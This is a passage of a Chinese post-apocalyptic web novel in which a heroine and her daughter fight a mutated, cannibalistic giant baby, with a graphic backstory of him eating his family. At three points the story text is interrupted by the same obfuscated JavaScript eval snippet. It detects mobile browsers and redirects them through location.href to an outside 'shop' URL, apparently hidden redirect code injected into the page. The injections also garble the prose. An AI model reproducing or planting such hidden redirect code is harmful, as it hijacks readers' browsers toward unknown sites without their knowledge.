紫镜挣扎了几下，就抽出了所有插入陈斯五官的触角，平静地浮了起来。好像什么都没发生一样。 陈斯哇地一声吐出来，地上多出一滩淡绿色的液体。 “你没事吧？”乔一伊擦了擦眼角，上前扶住陈斯的胳膊。 “去他妈的！哕——”陈斯又吐，“这……这是什么玩意儿，我要把它烧死！” “你别说了，”乔一伊制止他，“这东西很厉害，要不是小楚救了你，你命都没了。” 陈斯撑着地抬起头，意味不明地瞥了眼肖与楚，又畏惧地打量还在空中漂浮的不明生物。 “我不信。” “乔阿姨说的没错，你要是再激怒它，说不定它会释放毒素杀了你的。”小野抱着胳膊添油加醋。 陈斯刚想说两句，又忍不住干呕起来。 “哎，也不知道陈叔叔有什么异能，我刚刚都没看见。”小野说着从布包里掏出一个黑色玻璃瓶，打开瓶口，挥了挥玻璃瓶瓶口。 那紫镜像是受到了什么召唤一样，乖乖飘了下来，在小野的身边游弋。 “你……”陈斯想说点什么，这时乔一伊大叫了一声。 “陈斯，你的脸……” “我脸怎么了？”陈斯烦躁地摸了摸脸颊。 小野趁机把紫镜塞进了空间囊里。 肖与楚看清了陈斯的脸，他的脸开始肿胀，皮肤上还带着几颗血泡，看起来很吓人。 “你的脸……烂了。”乔一伊慌乱地说。 “放屁！”陈斯爬起来，朝客厅里穿衣镜跑去。等他站在镜子前，嗓子里立马发出一声尖锐爆鸣：“啊——我……我的脸怎么变这样了？” “当然是被紫镜的毒素影响啦，不过叔叔不用担心，大概两天就会好了。” “你一个小屁孩，怎么知道那么多。” “我只是长得小而已，”小野嘿嘿一笑，“我还知道，刚刚紫镜趴在你脸上，不是真的要杀你哦。” “那它在干什么？”陈斯反问。 “这个嘛，”小野咧开嘴，露出洁白的牙齿，“它在……交/配。” 肖与楚：“？” “放屁！胡说八道！谁特么这么交/配！”陈斯气得脸部肌肉直抽搐。 “我没胡说，谁叫陈叔叔去摸它啊，它以为你是他的同类，所以才扑你哦。一般情况下，要交/配半小时呢，还好我妈出手快……” “你别说了……”陈斯大喝一声，他急匆匆地冲进卫生间，乔一伊也立马跟了过去。 “你说的都是真的？” “嗯，”小野回答，“这些生物我们有记录，只要以后出现的有记录的，我都能快速调出资料，妈，你不用担心。”小野眨巴着眼睛，一脸天真模样。 “看来我还真是捡到宝了。” “当然啦。”小野扑通一声扑倒了沙发上，“我困了，要睡觉了。” 雪一直没有停下来的迹象，房间里变得越来越寒冷。 肖与楚从房里拿了一些衣物和被褥出来，她本想给小野保暖，但想到她大概率也是有抗极端环境能力的，便只给她盖了一层衣物，接着她又拆了些木质家具，拿了一口高级锅来当烤火炉。 不一会儿，客厅里就生起了一团火。 陈斯和乔一伊很快就从卫生间出来了，看见房间里升起了火，两人都很自觉地聚在了沙发旁。 陈斯满脸包，像是被凌辱过一样，他一出来就窝在沙发角落里，一脸愤懑，也不跟谁说话。 乔一伊也只好拘谨地坐了下来，她摸了摸肚子。 “你饿吗？”肖与楚从包里拿出半包饼干，递给乔一伊。 “我……”乔一伊两眼放光，她接过饼干。“实不相瞒，小楚，我已经好几天没怎么吃东西了，饿得前胸贴肚皮。” 她把饼干塞嘴里，又给了陈斯两块，陈斯接了过去，想吃，但是又被疼痛给阻拦住了。 “你们这段时间都是怎么过来的？”肖与楚问。 “哎，有一顿没一顿，”乔一伊囫囵，“要不是陈斯……哎，总之好不容易活下来的。你呢？” “我囤了点食物，不过也快吃完了。” “我们要不是没东西吃了，也不会出来，还不知道能不能顺利走到庇护所。”说到这里，乔一伊吸了吸鼻子。 到庇护所八十多公里，本来正常走，在路通畅的地方再找个自行车，肯定能一两天到达，现在遇到极端天气就不好说了，或许一个星期都到不了。 “我说，刚刚那个东西去哪儿了？”陈斯突然开口问道。 “什么东西？” “还能是什么东西，当然是那个不明生物啊，你们刚刚背着我干嘛了？是不是把它藏起来了？” “已经放出去了。”肖与楚撒谎道，“难道你还要让它再来一次？” 陈斯皱鼻子：“你这女儿到底什么来历？该不会变异了吧？” “没有，她就是看的东西多，知识面比较丰富。” 陈斯半信半疑。 “刚刚那么惊险，你们怎么知道怎么处理的？” “就是随便试试，没想到试对了。” “不对，我记得……小，小野手里有一个瓶子。” “没有，你眼花了。” “不可能。” “陈斯，你当时整个人都肿了，眼花也很正常，我看要不还是休息会儿吧，反正也没地方去。”乔一伊说。 “你们睡得着，我可睡不着。这雪下得这么大，不知道我们要在这里耽误多久，没吃没喝，几天就撑不住了，到时候我们饿死？” “但是现在到处乱跑……万一又遇到那种事了呢。”乔一伊担忧。 陈斯听到脸色猛地一沉，差点又吐了出来。“能不能不要再提了，都过去了。” “哦……” 虽然嚷嚷着睡不着，但很快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573049|142992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈斯就进入了梦乡。又过了一会儿，乔一伊也依在沙发上睡着了。 肖与楚看着熟睡的小野，她的眉间，她的小手都如此真实，都不是假的，可是这孩子为什么要跑到这个时空来呢？ 肖与楚还是不太理解。 不知不觉中，肖与楚也昏昏沉沉睡了过去。不知道睡了多久，她被一阵轻微的响声给吵醒。 起初她没在意，直到迷迷糊糊睁开眼睛，她顿时吓得灵魂出窍。不知道什么时候来了一个满脸胡须的男人，此刻他正弯着腰在她身边翻她携带的背包。 男人也感觉到有动静，便抬起头来，刹那间，两人四目对视。 肖与楚刚想坐起来，男人就猛地扑过来按住她的嘴巴。 “别动，动我就杀了你。”男人满头是汗，身上散发着一股不好闻的味道。 肖与楚哪会管他这种威胁，她抓着男人的手腕，另一只手抓住小腿，用力向上一抬一拧。 只听嘭的一声，男人一下子趴在了地上。 “哎呦！”男人痛苦地呻吟了一声。 他这一叫，把其他人也给吵醒了。 乔一伊看见房间里来了一个陌生男人，吓得大叫一声。 “小楚，这谁啊！他怎么进来的？” “这还用问，肯定是趁我们不注意，偷偷溜进来的。”陈斯着急忙慌地摸出肖与楚割触角的那把菜刀，“胆子也太大了，这种人咱们得弄死他。” “各位，各位，饶命，我不知道这房子里有人。”男人操着粗哑的声音求饶，“我只是想进来看看有没有什么吃的喝的，我饿了好几天了，滴米未进，实在是撑不住了。” “撑不住就能随便闯进来了？”陈斯问道，“难道不应该先敲门？” “这……不，不是……”男人摇头，“但我不知道这房间里有人啊，现在知道了，所以后悔了。而且你们看，我真的没什么恶意，我连个趁手的武器都没有。” 陈斯竖起来，一脸阴沉地走过来将男人身上搜了个遍，确实没发现什么可用的武器。 “好家伙，你胆子真够大的。”陈斯削了一下男人的脑袋。 “你既然没有武器，刚刚是怎么进来的？”肖与楚还是觉得有猫腻。 “我以前干过开锁师傅，那锁是密码锁，对我来说不是什么难事，”男人语气放松了些，“你们要是觉得我打扰到你们了，可以把我包里那半袋牛肉干拿走，就当是我赔罪了。” “还有牛肉干？”陈斯表情顿时变了样子，连那张肿胀的脸都有了表情，他急不可耐地翻开男人背上的双肩包，果然找到了一包牛肉干，不过里面只有几粒而已。 “这就是你说的半包？”陈斯气笑了。 男人支吾：“这个……这个净含量就很少……现在那些商家就这样。” 陈斯瞥了包装袋一眼，果然。 “黑心商家！”陈斯边说边把牛肉干塞进了衣服兜里。 “你们……现在可以放了我吧？”男人再次问道。 放？也不是不可以，但肖与楚不敢轻易相信任何贸然闯入的陌生人，更何况眼前这位总让人感觉怪怪的，他好像总是压低了嗓门在说话，生怕别人听到一样。 肖与楚灵光一现，想问他是否还有其他的同伴，但是话还没说出口，门外就传来一个声音。 “爸爸，你在里面吗？晨晨饿了。”一个弱小的童声低低地问道。 5. 005 听闻此声的男人额头上冒出了巨大的汗珠，身体不受控制地颤抖了起来。 肖与楚不明白他为何会这样。难道是怕他们一行人会动他的孩子？凭良心，肖与楚还没到要动一个孩子的地步。 “外面的是你儿子？”肖与楚问。 “是……晨晨，你在外面等等，不要进来，我马上给你弄吃的，听到了吗？”中年男人的声音很温柔，但其中夹杂着一些让人摸不透的情绪。 “要不你们放了他吧，他还有孩子呢。”乔一伊说。 肖与楚抵着男人的膝盖松了，她也不想跟一个带着孩子艰难求生的父亲过不去，毕竟她现在也带着孩子呢。话说回来，这么吵小野居然还没醒。 “谢谢。”男人从地上爬起来，擦了擦额头上的汗，一一扫视四个人，咧开嘴尴尬地笑了笑。 “你说你，带着这么小的孩子，何必来跟我们较劲呢？”陈斯教训道。 “把牛肉干还给他吧。他孩子不是在外面等吗？别让他饿坏了。”乔一伊一听有孩子不忍心。 陈斯不肯。“一伊，都什么时候了，你还管他饿不饿，他莫名其妙闯进来，打扰我们，我们肯放他走，已经很不错了，这里这么多房子，他又会开锁，肯定能找到吃的。” “对对对，”男人连连点头，“我孩子吃不了这个，你们拿走，我马上就出去。” 男人说着搓了搓手，佝偻着腰往门外走。 “爸爸，里面是不是很多人啊？”那个童声又传来了进来，只是这次距离好像更近了。 男人身子一颤，脚步加快了些。“没有，晨晨，就是我在自言自语。” “真的吗？” “真的。” 不对劲。肖与楚觉得男人似乎很害怕，这感觉就好像在问他话的不是自己的儿子，而是一个能随时碾碎他的人。 就在她疑惑时，门外突然传来剧烈的撞击声，好像有人在拆掉什么东西一样。 男人更加慌乱了，急忙三步并作两步朝门口跑。“晨晨，我出来了，你别——” 话音未落，一声巨响，房门被粗暴地推开了。 “爸爸，我进来啦。”一个高大粗壮的身影出现在了门口，同时一股浓郁的腐臭味传了进来。 众人几乎同时倒吸了口气。 眼前不是一个小男孩，而是一个高得几乎抵到门框顶部，把两边门框都挤爆了的巨型婴儿！ 肖与楚惊愕地眨了眨眼，再次确认自己看到的景象。 他长着一张婴儿的脸，只是因为比例放大，五官分布极度失衡，看起来表情十分狰狞，他没穿鞋，身上只有几条牛仔裤拼接起来的裤子遮住重要的部位。 “晨晨，你不许进来！”男人声音发抖。 但是晚了，他口中的晨晨已经挤进了门框里，他的胳膊足足有肖与楚的大腿那么粗，而他的大腿……跟他爸的身材差不多粗。 “天呐……”乔一伊低声惊呼。 “他们是谁啊？爸爸，是你的朋友吗？”晨晨卡在了门里，但他不着急，只是磨磨蹭蹭地挤进门。 “他们……他们是爸爸的朋友。”男人想要伸手安抚晨晨，但手犹犹豫豫，终究没有碰到他。 晨晨一边挤一边眼巴巴地打量着眼前这几个人，从左到右，又从右到左。 “真的是朋友吗？”他像个委屈的孩子一样嘀咕道，“爸爸，你不能骗我啊。” “我没骗你。” 肖与楚无法判断父子俩说这些话的意图，但她看男人的神色，就明白这个巨型婴儿是个威胁。 她立即叫醒小野，让她靠在自己的身后。 “陈斯，你不是变异了吗？能不能对付他？”肖与楚问陈斯。 陈斯露出为难的神情：“我怕这栋楼会塌下来。” 肖与楚不慌不忙：“既然如此，你们先躲起来吧。” “那你怎么办？”乔一伊担心肖与楚。 “她那么强肯定有办法的，我们先躲起来吧。”陈斯拉着乔一伊的胳膊，就往主卧室撤。 乔一伊和陈斯的行动似乎没有引起晨晨的注意，他只是盯着他的爸爸，用一种阴阳怪气的腔调质疑他。 “爸爸，我从来没见过他们，他们怎么会是你的朋友。” “我……”男人语塞。 危险一触即发，肖与楚赶紧提起棒球棍。“小野，他为什么会变得这么大？” “不清楚，”小野睡眼惺忪，“需要分析他的血液才能明白是怎么回事。” “你老是骗我！我要进来！”晨晨打断了他们的对话，他哇哇大哭起来，声音尖利得让人头痛。“你为什么不让我吃他们……爸爸，你不爱我……” “他们是人啊……”中年男人的汗已经浸湿了衣衫，他扑通一声跪在地上，“儿子，你不能再吃人了。” “为什么不能？我就是这样吃了妈妈和姐姐啊……” 伴随着这句让肖与楚头皮发麻的话，噼里啪啦的碎裂声同步传了过来，门框被挤烂了，晨晨顺利进了门，他的脸上写满了兴奋和渴望。 “太好了，我进来了。一、二、三、四……我知道这里有四个人，你们一个都跑不掉。” “儿啊，放过他们吧，他们是无辜的，你不能再造孽了。” “爸爸，他们无辜，我就不可怜吗？”晨晨无邪地看着男人，“妈妈怀我的时候，每次跟你吵完架，都说不想要我，想把我打掉。妈妈还跟我说，爸爸只是想要个儿子，但根本不想照顾我，爸爸，你不觉得愧疚？” “我……” “你要是我爸爸，就别拦着我，”晨晨的语气更加低沉，目光也紧紧地锁在肖与楚身上，“我要吃东西，我要是不吃，就会饿死，那样你就没儿子啦。” 男子表情扭曲，肩膀抽搐般颤抖，不一会儿他捂着脸，匍匐在了地上，把自己与眼前这一切隔绝起来。 像是一种默许，晨晨咯咯笑了两声，就朝肖与楚走了过来。他虽然笨拙，但速度快，尤其他那两只大手，都快赶上肖与楚脑袋了，一拳下来，不死也是半伤。 眼看着晨晨的拳头挥了过来，肖与楚急忙举起棒球棍抵挡。晨晨那一拳砸在棒球棍上，棒球棍顿时出现好几个凹痕。 接着，晨晨另一只手猛地一甩，甩到肖与楚腰上，肖与楚像一片轻飘飘叶子一样被甩了起来，咣当一声砸在电视柜边缘。 肖与楚腰间生疼，没等她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573050|142992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爬起来，晨晨又抬脚，朝她胸脯袭来。肖与楚咬紧牙关借着电视柜边缘翻滚出去两米远。 “嘭——”电视柜被晨晨踩裂了。 肖与楚一个跃起，往后退了好几步。 “你跑不掉的。”晨晨收回脚，不慌不忙地说道。 “我也没说要跑啊。”肖与楚忍着痛反驳。 “那就乖乖当我的食物。”晨晨再次上前，朝肖与楚使出一击勾拳。 肖与楚灵巧地躲过了，但下一拳又猛烈地袭击了过来。肖与楚不得不借助客厅里的家具左闪右躲。 “我是不可能当你的食物的。你连你亲妈和姐姐都吃，没有人性。” “你懂什么！我只是帮我妈和我姐姐完成愿望……”晨晨转了个向，他眼里的怒火更加旺盛，肖与楚的这句话刺激了他，她一拳重击。 这次肖与楚就没那么好运了，这一拳直接砸在棒球棍上，其力道之大，竟迫使她扑通一声跪在地上。 没等她出声，腹部又感到一阵剧烈的疼痛，她人飞了起来，猛地砸在地板上。 肖与楚这辈子都没这么疼过，浑身感觉散架了一般，一时之间难以再继续爬起来应付晨晨。 晨晨看她如此狼狈和不堪一击，又咯咯咯地笑了。“虽然新鲜的不怎么美味，但终于可以好好吃一顿啦。” 肖与楚叫苦不迭，她这辈子没怎么打过架，但凡有点经验，也不至于像个沙包一样这样窝囊地躺在地上。 “我会很温柔的杀了你的，你不要担心。”晨晨咧开嘴，露出一口尖利的黄牙，让肖与楚头皮发麻。 “做梦呢。”躲在房间角落里的小野突然冒出一句。说时迟那时快，她手里的枪发出一团白色的光芒，晨晨被打得措手不及，那团光瞬间消失在他身体里。 “你……你干什么？”接收到不明物体的晨晨，嘴唇嗫喏了几下，身体开始剧烈抽搐，几秒钟之后他就像一滩烂泥一样，轰然倒在地上，没了动静。 “你……你有这东西，怎么不早用？”肖与楚捂着胸口，竖了起来，大口喘着粗气。 小野咧嘴笑：“我只是想看看你有没有进步。” “我从小到大都没打过架，能有什么进步？” “嗯，看出来了，不过有些东西已经深入基因啦，你必须感受它，才能变得强大。”小野哒哒哒地走了过来，她先是看肖与楚有没有受伤，发现没啥问题后，才抬脚踢了踢已昏睡过去的晨晨。“我本来以为这个巨婴比较难对付呢，没想到一股电流就把他放倒——” “啊——”晨晨突然抓住了小野的小腿。 “抓到你了。”晨晨睁开双眼，饥渴地盯着小野，“跟我姐姐差不多，应该更好吃。” “你……”小野刚想说点什么，就被一股巨大的力量甩了出去。啪地一声，她像一只苍蝇一样，黏在了墙上，又滑了下来，晕了过去。 目睹这一切的肖与楚，顿时傻了眼。 “哈哈哈哈哈……”晨晨的笑声响彻客厅，他慢悠悠地从地上爬起来，甩了两下胳膊，俯视着肖与楚。 “阿姨，不好意思啊，现在轮到你啦。”晨晨咧开嘴，阴鸷地说道。 “晨晨！”男人大叫道。 6. 006 婴儿知道什么，就算知道，长大之后也会忘记的。 这是大人的想法，但丁小晨一直都记得，这个世界似乎很吵，在妈妈肚子里，就有人总是在他耳边说话，有时候像是在自言自语，有时候又像是吵架，但是这些内容都跟他有关。 “你爸非说要个儿子，这样才对得起列祖列宗，他是什么土皇帝吗？还想着他那些鬼影都没有的祖宗呢，也不看看自己几斤几两，能养得起几个孩子。” “我是没上班，但带孩子就不辛苦了吗？凭什么你爸回来就指手画脚的。” “我有时候恨不得把你打掉。” “你说生出来是个女孩儿，你爸会不会气死？” …… 这些话丁小晨都听了进去，但在娘胎里他没有意识，只是贪婪地吸取母亲身上的养分，不断地疯狂生长。 很快丁小晨就出生了，他出生在一个冬夜，那天天气很冷，家里就他妈妈和姐姐两个人，他当时觉得很闷，想从妈妈肚子里出去透气，便闹腾了几回。不一会儿就听到妈妈痛苦的呻吟声。 再后来，他听到妈妈打电话的声音、救护车的声音、医生的声音，还有他自己的哭声，但这其中就是没有爸爸的声音。 妈妈很少笑，丁小晨不明白她为什么不笑，而且还容易生气，给他吃的要生气，喂奶被咬痛了要生气，他哭了要生气，他生病了妈妈就更加生气了。 开心的时候，妈妈叫他“晨晨”，不开心的时候就叫他“小畜生“，丁小晨虽然不明白是为什么，但他记在了心底。 他慢慢长大，每长大一点，对这个世界的印象就加强了一分，他明白了一点点自己所处的环境，他知道妈妈和爸爸关系不好，爸爸好像很爱他，但是很少出现，妈妈不爱他，但是却总是围绕在他周围。 只是这些感觉，他都没办法用嘴说出来。 日子过了一天又一天，丁小晨看起来仍然是懵懂的，一无所知的，但心里的记忆一直在堆叠。 一个多月前，世界发生巨大变化的那一天，他也发生了变化。 起先，丁小晨不知道这个世界发生了什么，他只记得家里突然变得无比混乱，妈妈很焦躁，而姐姐却很兴奋，但这种情绪没持续多久，很快丁小晨就发现了另一个严峻的问题，妈妈的奶水好像越来越少，他很饿，却没办法告诉妈妈自己饿，只好用洪亮的哭声发泄自己。 刚开始妈妈还关心他的感受，可后来妈妈好像放弃了，她把他放在房间里，不理他，只是焦急地抱着姐姐，在客厅里转来转去。 他们在干什么呢？丁小晨不懂。 那天下午，他昏昏欲睡，却被尖叫声吓醒。他看不见妈妈和姐姐在哪里，急得直哭。不知道哭了多久，累了，睡着了，醒来又继续哭。 他好饿啊，他从来没有那么饿过，恍惚间，他闻到了空气中飘着一股奇怪的香味，是他以前从来没闻到过的吸引人的味道。 这股香味驱使着他从床上爬了起来，他顺着香气爬到了客厅。客厅的地板上躺着妈妈和姐姐，她们一动不动，好像是睡着了。 丁小晨摇摇晃晃地走到妈妈面前，晃了晃她的肩膀。 “妈妈。”他叫道。声音含含糊糊，有着婴儿的稚气。 妈妈没有回答他，她只是静静地躺在那里，脸色惨白，双眼盯着天花板，没有任何反应，地上还有好几滩深红色的痕迹。丁小晨趴在地上嗅了嗅，发觉那种奇特的香味就是从妈妈和姐姐身上散发出来的。 他饿极了，被这种香味搅乱得心神不宁。他伏在妈妈的身体上嗅了好久，终于忍不住咬了下去…… 刚开始那段时间，他就仿佛失去了记忆一般，吃，睡，睡，吃……他的身体像是气球一样鼓了起来，妈妈和姐姐却消失了，房间里只剩下一把生锈的刀。 他不知道该去哪里，就在房间里到处走动，只到有一天，有个人回来了。尽管他胡子拉碴，但丁小晨一眼就认出了这个人是爸爸。 他立即咯咯咯笑了起来，伸出手想让爸爸抱。可是爸爸没有抱他，他看起来好像很害怕丁小晨。 “晨晨，你妈妈和姐姐怎么了？她们人呢？”爸爸问他。 丁小晨不知道为什么爸爸这么问，他能把妈妈姐姐怎么样，他只是个六个月大的小婴儿啊。 “我不知道。” 爸爸那张憔悴的脸更加惨白了。 “晨晨，你什么时候会说话的？” 丁小晨摇头，片刻，他大哭起来，他也不知道为什么哭，就是觉得很委屈，他感觉被抛弃了，没有妈妈，没有姐姐，连爸爸也不敢靠近他。 而这个叫丁思明的中年男人，脸色越来越难看，他好不容易在乱世中逃回家，出现在眼前的只是比他离开前大了好几倍的儿子，地上好多衣服碎片和骸骨。 老婆女儿没了，怎么没的？会不会是儿子杀的呢？ 他不敢想，但好歹还有个儿子活着，虽然看起来已经变异了，也是他们老丁家唯一的后人，他唯一的亲人了。 丁思明犹豫了半天，也不知道该从哪里下手抱儿子，只好上前摸了摸丁晨的额头，就当是在安抚他。 “好了好了，别哭了，爸爸在。”丁思明说。 “爸爸，我饿。”丁小晨冲爸爸撒娇。 “你等等，我给你找吃的。”丁思明在房间里找了一圈，找到了大半罐奶粉，他把仅剩下的半瓶水烧开，冲了一瓶奶，递到儿子面前。 丁小晨看着那瓶奶，摇了摇头，这种东西太乏味了，让他恶心。 丁思明见他不吃，心里的不安又多了几分，他不知道该说什么，也不知道该怎么办。 “我出去给你找点吃的。”他这样说道。 丁思明出去转了一圈，抓到一只野狗，他不确定这东西儿子会不会吃，但有总比没有强。 他拎着那只小狗跑回家，把它麻利地处理了，狗的内脏他顺手扔在一个黑色垃圾袋里。接着他又把隔壁邻居家拿来的烧烤炉架了起来，给那些生肉刷上了调料，准备烤一顿大餐。 忙完这些后，他回头一看，被眼前的景象吓了一跳，本来安静坐着的丁小晨居然抱着那只黑色塑料袋在啃。 丁思明一股气血直冲脑门。 “晨晨，你在干什么？ 丁小晨茫然地抬起头，满嘴血和肉沫。 丁思明见到此景差点吐出来。 “这不能吃。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573051|142992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “为什么？虽然这个不是很好吃，但是我只能吃这个。”丁小晨不高兴。 丁思明脸色霎时惨白，他什么都明白了，看来老婆和女儿真有可能被丁小晨吃掉了，可他还是拒绝相信，他扭转头，拿起烧烤架上的生肉，战战兢兢地递给丁小晨。 丁小晨犹疑地抓过那些肉，吃了几口，又放下了。 “不好吃，这个更香。” 丁思明脑海一团乱麻，他不明白孩子怎么会变异成这个鬼样子，怎么办？以后该怎么办？ 明知道他危险，丁思明不愿意放弃他。因为丁小晨是他唯一的儿子。 为了把日子过下去，丁思明不得不出去找食物。 那天早上，丁思明骑着小电驴带着丁小晨前往他以前工作过的购物中心。那是林川市最大的购物中心之一，丁思明曾经在那里开过一个小档口，偶尔也帮购物中心做点杂活儿，他知道那里有几个仓库，说不定有一些没被人发现的东西。 到了仓库之后，眼前的景象让他失望，仓库里的东西基本上都被搬空了，他只好带着丁小晨找找看有没有剩下的边角料。 丁小晨出人意料地对这个地方感兴趣，他在仓库里撒欢地跑起来。丁思明不想拦他，也拦不住他，他只是专心看这个地方有没有食物。 丁小晨跑来跑去，不知不觉视线锁定在那几个紧闭的冷库上。 这里有他熟悉的味道，一定是美味的食物。 丁小晨兴奋极了，他不知道哪里来的力气，竟然活生生其中一扇紧闭的冷库门拉开，刹那间，一股恶臭味弥漫整个仓库。 丁小晨高兴得哇哇大叫起来，毫不犹豫地往冷库里扑了过去。 直到如今，丁思明也不愿意想起那样的画面，他几乎把胃里的胃酸都呕出来了： 他的儿子丁小晨，像是一头小狼一样扑在几具腐烂的尸体上大快朵颐，脸上甚至爬了几条腐尸上的蛆…… 也就是那次，丁思明确认他的儿子喜欢吃腐烂的尸体，他花了好几天才勉强接受这个事实。 他想开了，这个时代腐尸很多，只要他不杀人，吃什么都行，毕竟他只有这一个亲人了。 但事与愿违，事情走向了不可预料的方向。 有一天丁思明找食物的时候，竟然遇到了几个幸存者。丁思明饿得不行，见那几个人看起来还不错，想祈求他们施舍一点东西，好让他能够熬下去。 那几个人不肯，不仅不肯，还把他打了一顿，不仅打了他一顿，还羞辱蒙着脸、穿着不合身的衣服的丁小晨是个弱智。 丁小晨听到“弱智”两个字都欺诈了，他一气之下竟然把那几个人全杀掉了。 他感到无比的快乐，好像巨大身体里的灵魂得到了完全的释放，他也逐渐明白亲手杀掉活生生的人，可以掌握腐烂的程度，吃到最美味可口的食物。 他不再听丁思明的话，而是去寻找幸存人类，他的身体快速膨胀，想法也变得越来越不可捉摸…… 这一切的发生有迹可循。 不怨我，我也不想杀你们的……丁思明心里默念，他再次垂下了脑袋，不敢看外面发生了什么。 不一会儿，凄厉的叫声就充斥了整个房间。 7. 007 “爸爸，爸爸救我！”丁小晨大声呼救。 什么情况？ 丁思明睁眼看去，呼救声仍未停歇，刚刚那个被打得爬不起来的女人，用一把菜刀抵着丁小晨的脖子，而她则坐在丁小晨的肚子上，虽然她看起来不重，但却让比她大好几倍的丁小晨动弹不得。 怎么……会这样？刚刚这几分钟……到底发生了什么？ 肖与楚淡淡地勾起嘴角，对丁思明说：“你看起来好像很意外？” “你……”丁思明语塞。 肖与楚看透了这个男人，不过是个懦弱无能的父亲罢了。说起来，今天她的确运气好，刚好瞥见了那把菜刀，她猜应该是陈斯不小心扔在这儿的。 看到这个庞然大物扑过来，肖与楚不知道哪儿来的力气一下就从地上跳起来，一脚正踢在丁小晨的肚子上。 这一脚力道很大，让丁小晨疼得嚎叫了好几声，重心也变得不稳。 趁这个机会，肖与楚拿着菜刀直接插入他的腹部，菜刀没入到厚厚的脂肪中。 丁小晨仿佛被抽去了所有力气，重重地倒在了地上。肖与楚见状抽出刀子，顺势骑在他身上，将刀抵在他脖子上。 一股浓郁的腐臭气息，从丁小晨的血液里飘了出来，简直比街上那些腐臭的尸体味道还臭，不多时便弥漫了整个房间。 丁思明想要从地上爬了起来救丁小晨。 “你别动！”肖与楚呵斥道。 丁思明身子一颤，他瞪着肖与楚，眼里满是愤怒。 “放开我儿子。” “放个屁！”陈斯从主卧冲出来，他在房间里等待很久了，听到外面形势急转，他才拉着乔一伊出来。 不得不说，这时机把握得挺好。 陈斯看到肖与楚把巨婴压在身下，眼里闪过一丝惊诧，尤其看到她手里还有一把带血的菜刀的时候，瞳孔更是猛地震颤了一下。 “有……有什么需要帮忙的？”他问肖与楚。 “你过去控制他爹。一伊，你去把小野弄醒。” “行。”陈斯翻脸比翻书还快。他弯腰拎起那根变形的棒球棍朝丁思明走去。 “你们别动我儿子！”丁思明再次说道。 听到这句话的丁小晨，竟然嘤嘤地哭了起来。“爸爸，救我……” “晨晨。”丁思明也带着哭腔。 “行了，别在这儿演父子情深了，凭良心说，他真的是你儿子吗？你儿子应该早就死了吧？”肖与楚说道。 丁思明顿时感觉像是被人戳中了脊梁骨一般，身体绵软。 “不，他是我儿子。” “你放开我！他是我爸爸。”晨晨的伤口流血越来越多，房间里的臭味几乎要把肖与楚熏晕了。 “错了，你儿子早就被寄生了。”小野在乔一伊的搀扶下，一边揉额头一边大声说道。 “胡说！” “我没胡说，”小野慢悠悠地往丁小晨的方向走，“这是一种罕见的寄生物，它这一生只会寻找一位宿主。等它附身于这位宿主身上后，就会和他合二为一，精神和□□共享。你儿子吃掉的腐肉越多，身体膨胀就会越快，寄生物的力量也会越大。最终，宿主和寄生物都会因为病毒过载死亡。” “你在放屁！”丁思明愤怒地从地上爬起来，又被陈斯按了回去。“我儿他不会死！你一个黄毛丫头，不要胡说八道，我是不会相信你的！” “我没胡说，你看，他现在就快死了。”小野耸了耸肩。 肖与楚低头看丁小晨的神色，的确和刚刚不一样了，他脸色惨白，嘴角甚至泛起了白沫。 “好像是快死了。”肖与楚也说。 “不，他不会死的！”丁思明不顾陈斯的阻拦冲了过来，他满脸泪痕，双手像是筛糠一样颤抖。他不顾一切抱着晨晨那张畸形丑陋的脸，呜咽道：“晨晨，你跟爸爸说说话，爸爸在这里，你说话啊……” 丁小晨蠕动着嘴巴，他想说话，但什么也说不出来。 “哎，我们走吧。”肖与楚起身对其他人说。 “去哪儿？这事儿还没结束呢！”陈斯不想离开，他似乎在找什么机会宣泄自己的情绪。 “去找新的歇脚的地方啊，难道你要看人家父子诀别的画面？”肖与楚扔掉了菜刀，拎起背包，独自往门外走去。 小野见状也哒哒哒地跟了上去。 “哎——” “走吧，陈斯，别再这待了。”乔一伊赶紧拉陈斯的胳膊。 楼下的雪差不多快半人高了，头顶上还在不断地飘落雪花。肖与楚望着天上的雪花，感觉到一阵失落和恐慌，到了那种地步，人已经不是人了，为什么非得执着于要把他留下来呢。 肖与楚走进了风雪里，她往最外面的那栋公寓走去，她不想回头，也不想再知道那栋楼里发生了什么。 但走到公寓门口时，在她身后的小野还是叫住了她。 “妈，你快看。”小野指着刚刚出来的那栋楼上。“那位叔叔，他在那儿。” 肖与楚顺着小野指的方向看过去，在风雪中，丁思明坐在高层的阳台护栏上，定定地盯着楼下。 “他要自杀？”陈斯仰着头，看热闹。 